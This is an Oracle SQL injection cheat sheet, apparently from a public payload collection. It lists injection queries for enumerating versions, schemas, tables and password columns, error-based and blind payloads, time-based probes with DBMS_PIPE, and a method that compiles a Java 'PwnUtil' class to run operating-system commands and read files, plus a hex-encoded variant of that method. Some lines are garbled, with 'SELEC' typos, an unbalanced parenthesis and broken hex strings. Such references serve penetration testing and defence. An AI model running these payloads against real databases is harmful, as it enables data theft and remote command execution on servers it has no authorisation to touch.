Oracle SQL Injection

Summary

Oracle SQL version

```
SELECT user FROM dual UNION SELECT * FROM v$version
```

Oracle SQL database name

```
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
```

Oracle SQL List Databases

```
SELECT DISTINCT owner FROM all_tables;
```

Oracle SQL List Columns

```
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```

Oracle SQL List Tables

```
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```

Oracle SQL Error based

Description	Query
Invalid HTTP Request	SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SN	SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
Invalid XPath	SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
Invalid XML	SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual
Invalid XML	SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users
SQL Error	SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))

Oracle SQL Blind

Description	Query
Version is 12.2	SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
Subselect is enabled	SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
Table log_table exists	SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
Column message exists in table log_table	SELEC COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';
First letter of first message is t	SELEC message FROM log_table WHERE rownum=1 AND message LIKE 't%';

Oracle SQL Time based

```
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
comment:    -- /**/
```

Oracle SQL Command execution

- ODAT (Oracle Database Attacking Tool)

```
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as
import java.io.*; public class PwnUtil{ public static String runCmd(String args){
try{ BufferedReader myReader = new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp,
str = "";while ((stemp = myReader.readLine()) != null) str += stemp +
"\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public
static String readFile(String filename){ try{ BufferedReader myReader = new
```

```
BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp =
myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch
(Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return
varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

or (hex encoded)

```
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin
execute immediate
utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6
d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274
206a6176612e696f2e2a3b7075626c696320636c617373207077 6e7574696c7b7075626c6963207374617
469632053747269 6e672072756e28537472696e672061726773297b7472797b427566666572656456561
646572206d726561643d6e6577204275666665726564526561646572286e657720496e707574537472656
16d526561646572285 6e74696d652e67657452756e74696d6528292e6578656328617267732 92e6765
74496e707574537472656 16d282929293b20537472696e672074656d702c207374723d22223b2077686
96c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d73
74656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636
828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE
utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696
f6e2050776e5574696c46756e6328705f636d6420696e2076617263686172322920726574726e207661
726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286
a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b''')); end;'))
results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

References

- Heavily taken inspired by - NetSpi SQL Wiki